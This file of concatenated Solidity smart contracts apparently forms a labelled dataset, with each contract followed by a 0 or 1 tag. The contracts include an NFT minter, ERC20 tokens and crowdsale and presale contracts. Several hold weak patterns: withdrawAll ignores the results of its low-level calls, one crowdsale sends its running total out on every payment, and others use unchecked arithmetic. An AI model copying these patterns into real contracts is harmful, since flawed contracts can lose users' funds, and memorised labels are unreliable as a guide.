constructor()
ERC721T("Nanokoverse", "NANOKO"){
}
function balanceOf(address account) public view override returns (uint) {
require(account != address(0), "Nanoko: balance query for the zero address");
return _balances[account];
}
function isOwnerOf( address account, uint[] calldata tokenIds ) external view override returns( bool ){
for(uint i; i < tokenIds.length; ++i ){
if( nanokos[ tokenIds[i] ] != account )
return false;
}
return true;
}
function ownerOf( uint tokenId ) public override view returns( address owner_ ){
address owner = nanokos[tokenId];
require(owner != address(0), "Nanoko: query for nonexistent token");
return owner;
}
function tokenByIndex(uint index) external view override returns (uint index_) {
require(index < totalSupply(), "Nanoko: global index out of bounds");
return index;
}
function tokenOfOwnerByIndex(address owner, uint index) public view override returns (uint tokenId_) {
uint count;
for(uint i; i < nanokos.length; ++i){
if(owner == nanokos[i]){
if( count == index )
return i;
else
++count;
}
}
revert("ERC721Enumerable: owner index out of bounds");
}
function tokenURI(uint tokenId) external view override returns (string memory) {
require(_exists(tokenId), "Nanoko: URI query for nonexistent token");
if(revealed == false) {
return notRevealedUri;
}
return string(abi.encodePacked(_tokenURIPrefix, tokenId.toString(), _tokenURISuffix));
}
function totalSupply() public view override returns( uint totalSupply_ ){
return nanokos.length;
}
function walletOfOwner( address account ) external view override returns( uint[] memory ){
uint quantity = balanceOf( account );
uint[] memory wallet = new uint[]( quantity );
for( uint i; i < quantity; ++i ){
wallet[i] = tokenOfOwnerByIndex( account, i );
}
return wallet;
}
function getBalanceOfContract() external view returns (uint256) {
return address(this).balance;
}
function mint( uint quantity ) external payable nonReentrant {
require(isMintActive, "Nanoko: Minting needs to be enabled");
require(quantity + mintCount[msg.sender] <= MAX_QTY, "Nanoko: You can't mint that much");
require (msg.value >= PRICE * quantity, "Nanoko: Ether sent is not correct");
uint supply = totalSupply();
require(supply + quantity <= MAX_SUPPLY, "Nanoko: Mint exceeds supply" );
for(uint i; i < quantity; ++i){
_mint( msg.sender, supply++ );
}
mintCount[msg.sender] += quantity;
}
function whitelistMint(uint quantity) external payable nonReentrant {
require(isWhitelistMintActive, "Nanoko: Whitelist needs to be enabled");
require(quantity <= whitelistCount[msg.sender],"Nanoko: You do not have enough whitelist access");
uint price = isOG[msg.sender] ? 0.05 ether : 0.07 ether;
require (msg.value >= price * quantity, "Nanoko: Ether sent is not correct");
uint supply = totalSupply();
require(supply + quantity <= MAX_SUPPLY, "Nanoko: Mint exceeds supply" );
for(uint i; i < quantity; ++i){
_mint( msg.sender, supply++ );
}
whitelistCount[msg.sender] -= quantity;
}
function withdrawAll() public onlyOwner {
uint amount = address(this).balance;
payable(0xa2800c3D21948e22315e573B8Ec582606CbfC8E0).call{value: amount / 100 * 23}("");
payable(0x0ed819ccaECFc5527B606f00fD3c3b640146977d).call{value: amount / 100 * 36}("");
payable(0x2e8931A6A02eC56eEf941E29bb0b5121dE3FA128).call{value: amount / 200 * 71}("");
payable(0x3744D9468F991E110A16BE720484FE53c7fe9b73).call{value: amount / 200 * 11}("");
}
function teamMint(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{
require(quantity.length == recipient.length, "Nanoko: Must provide equal quantities and recipients" );
uint totalQuantity;
uint supply = nanokos.length;
for(uint i; i < quantity.length; ++i){
totalQuantity += quantity[i];
}
require( supply + totalQuantity < MAX_SUPPLY, "Nanoko: Mint/order exceeds supply" );
for(uint i; i < recipient.length; ++i){
for(uint j; j < quantity[i]; ++j){
uint tokenId = supply++;
_mint( recipient[i], tokenId);
}
}
}
function setWhitelistCount(address[] calldata accounts, uint[] calldata quantities) external onlyOwner{
require(accounts.length == quantities.length);
for(uint i; i < accounts.length; ++i){
whitelistCount[ accounts[i] ] = quantities[i];
}
}
function setOGList(address[] calldata accounts) external onlyOwner{
for(uint i; i < accounts.length; ++i){
isOG[ accounts[i] ] = true;
}
}
function flipRevealState() external onlyDelegates {
revealed = !revealed;
}
function setUnrevealURI(string calldata notRevealUri_) external onlyDelegates {
notRevealedUri = notRevealUri_;
}
function flipMintState() external onlyDelegates {
isMintActive = !isMintActive;
}
function flipWhitelistState() external onlyDelegates{
isWhitelistMintActive = !isWhitelistMintActive;
}
function setBaseURI(string calldata prefix, string calldata suffix) external onlyDelegates{
_tokenURIPrefix = prefix;
_tokenURISuffix = suffix;
}
function _beforeTokenTransfer(address from, address to) internal {
if( from != address(0) )
--_balances[ from ];
if( to != address(0) )
++_balances[ to ];
}
function _exists(uint tokenId) internal view override returns (bool) {
return tokenId < nanokos.length && nanokos[tokenId] != address(0);
}
function _mint(address to, uint tokenId) internal {
_beforeTokenTransfer(address(0), to);
nanokos.push(to);
emit Transfer(address(0), to, tokenId);
}
function _transfer(address from, address to, uint tokenId) internal override {
require(nanokos[tokenId] == from, "Nanoko: transfer of token that is not owned");
_approve(address(0), tokenId);
_beforeTokenTransfer(from, to);
nanokos[tokenId] = to;
emit Transfer(from, to, tokenId);
}
} | 0 | 2,265 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "BlocBuy";
string public constant TOKEN_SYMBOL = "BBY";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x201587594e3d8d1fcf6cb52853c0695139b4e89a;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x201587594e3d8d1fcf6cb52853c0695139b4e89a)];
uint[1] memory amounts = [uint(25000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,959 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor() internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 rate, address wallet, IERC20 token) internal {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Presale is Crowdsale, Ownable {
IERC20 private _token;
mapping(address => bool) public whitelisted;
constructor(uint256 rate, address wallet, address token)
Crowdsale(rate, wallet, IERC20(token))
public {
_token = IERC20(token);
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return rate().mul(weiAmount).div(10**13);
}
function whitelist(address [] investors) public onlyOwner {
for(uint i = 0; i < investors.length; i++) {
address investor = investors[i];
whitelisted[investor] = true;
}
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
require(beneficiary != address(0));
require(weiAmount != 0);
if (!whitelisted[beneficiary]) {
require(weiAmount <= 100 finney);
}
}
function recoverToken(address _tokenAddress) public onlyOwner {
IERC20 token = IERC20(_tokenAddress);
uint balance = token.balanceOf(this);
token.transfer(msg.sender, balance);
}
} | 1 | 5,264 |
pragma solidity ^0.4.17;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract IERC20Token {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ValusToken is IERC20Token, owned{
string public standard = "VALUS token v1.0";
string public name = "VALUS";
string public symbol = "VLS";
uint8 public decimals = 18;
address public crowdsaleContractAddress;
uint256 public tokenFrozenUntilBlock;
uint256 supply = 0;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
mapping (address => bool) restrictedAddresses;
event Mint(address indexed _to, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event TokenFrozen(uint256 _frozenUntilBlock, string _reason);
function ValusToken() {
restrictedAddresses[0x0] = true;
restrictedAddresses[0x8F8e5e6515c3e6088c327257bDcF2c973B1530ad] = true;
restrictedAddresses[address(this)] = true;
crowdsaleContractAddress = 0x8F8e5e6515c3e6088c327257bDcF2c973B1530ad;
}
function totalSupply() constant returns (uint256 totalSupply) {
return supply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (block.number < tokenFrozenUntilBlock) throw;
if (restrictedAddresses[_to]) throw;
if (balances[msg.sender] < _value) throw;
if (balances[_to] + _value < balances[_to]) throw;
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (block.number < tokenFrozenUntilBlock) throw;
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (block.number < tokenFrozenUntilBlock) throw;
if (restrictedAddresses[_to]) throw;
if (balances[_from] < _value) throw;
if (balances[_to] + _value < balances[_to]) throw;
if (_value > allowances[_from][msg.sender]) throw;
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function mintTokens(address _to, uint256 _amount) {
if (msg.sender != crowdsaleContractAddress) throw;
if (restrictedAddresses[_to]) throw;
if (balances[_to] + _amount < balances[_to]) throw;
supply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
}
function freezeTransfersUntil(uint256 _frozenUntilBlock, string _reason) onlyOwner {
tokenFrozenUntilBlock = _frozenUntilBlock;
TokenFrozen(_frozenUntilBlock, _reason);
}
function isRestrictedAddress(address _querryAddress) constant returns (bool answer){
return restrictedAddresses[_querryAddress];
}
} | 1 | 3,059 |
pragma solidity ^0.5.0;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
event NotPausable();
bool public paused = false;
bool public canPause = true;
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
require(canPause == true);
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
require(paused == true);
paused = false;
emit Unpause();
}
function notPausable() onlyOwner public{
paused = false;
canPause = false;
emit NotPausable();
}
}
contract PausableToken is StandardToken, Pausable {
string public constant NAME = "KAKI TOKEN";
string public constant SYMBOL = "KAKI";
uint256 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 2000000000 * 10**18;
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 5,053 |
pragma solidity ^0.4.16;
interface token { function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
beneficiary.send(amountRaised);
amountRaised = 0;
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() {
if (now >= deadline) _;
}
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
}
else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
}
else {
fundingGoalReached = false;
}
}
}
} | 0 | 2,141 |
pragma solidity ^0.4.13;
contract DaoToken {
uint256 public CAP;
uint256 public totalEthers;
function proxyPayment(address participant) payable;
function transfer(address _to, uint _amount) returns (bool success);
}
contract ZiberToken {
mapping (address => uint256) public balances;
mapping (address => bool) public checked_in;
uint256 public ico;
bool public bought_tokens;
uint256 public time_bought;
uint256 public extra_time_bought;
bool public kill_switch;
string public name;
string public symbol;
uint8 public decimals;
uint256 ZBR_per_eth = 17440;
uint256 ZBR_total_reserve = 100000000;
uint256 ZBR_dev_reserved = 10000000;
uint256 ZBR_for_selling = 80000000;
uint256 ZBR_for_ico= 10000000;
uint256 min_eth_to_end = 50000 ether;
uint256 max_eth_to_end = 100000 ether;
uint registredTo;
uint256 loadedRefund;
uint256 _supply;
string _name;
string _symbol;
uint8 _decimals;
